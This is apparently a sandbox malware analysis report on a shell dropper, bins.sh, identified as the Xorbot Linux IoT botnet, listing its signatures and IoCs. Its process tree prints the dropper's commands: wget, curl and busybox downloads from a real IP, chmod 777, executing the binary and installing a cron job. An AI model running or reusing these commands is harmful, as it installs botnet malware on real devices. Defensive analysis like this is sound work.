Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    10/01/2025, 21:32

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250110-1dlets1kfq
  • SHA256 793fdf88299487cd699404bd5dac67dfff670524cfea68454e2f3ccc0ad2e400
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2149) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1519
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1522
        • /usr/bin/wget
          wget http://66.63.187.225/bins/Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          2⤵
          • Writes file to tmp directory
          PID:1523
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          2⤵
          • Writes file to tmp directory
          PID:1528
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          2⤵
          • Writes file to tmp directory
          PID:1529
        • /bin/chmod
          chmod 777 Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          2⤵
          • File and Directory Permissions Modification
          PID:1530
        • /tmp/Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          ./Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1531
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1533
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1534
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1535
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1536
              • /bin/rm
                rm Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
                2⤵
                  PID:1538
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
                  2⤵
                    PID:1541

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

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                      Downloads

                      Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
                      • Path /tmp/Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
                      • Size 112KB
                      • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      tmp.UbDjAe
                      • Path /var/spool/cron/crontabs/tmp.UbDjAe
                      • Size 210B
                      • SHA256 523852b66b5bac92703275f1a2d149e6a83f9f7122bfd62023b7457a05a6183f
                      • MD5 SHA1 SHA512
                      Submit Download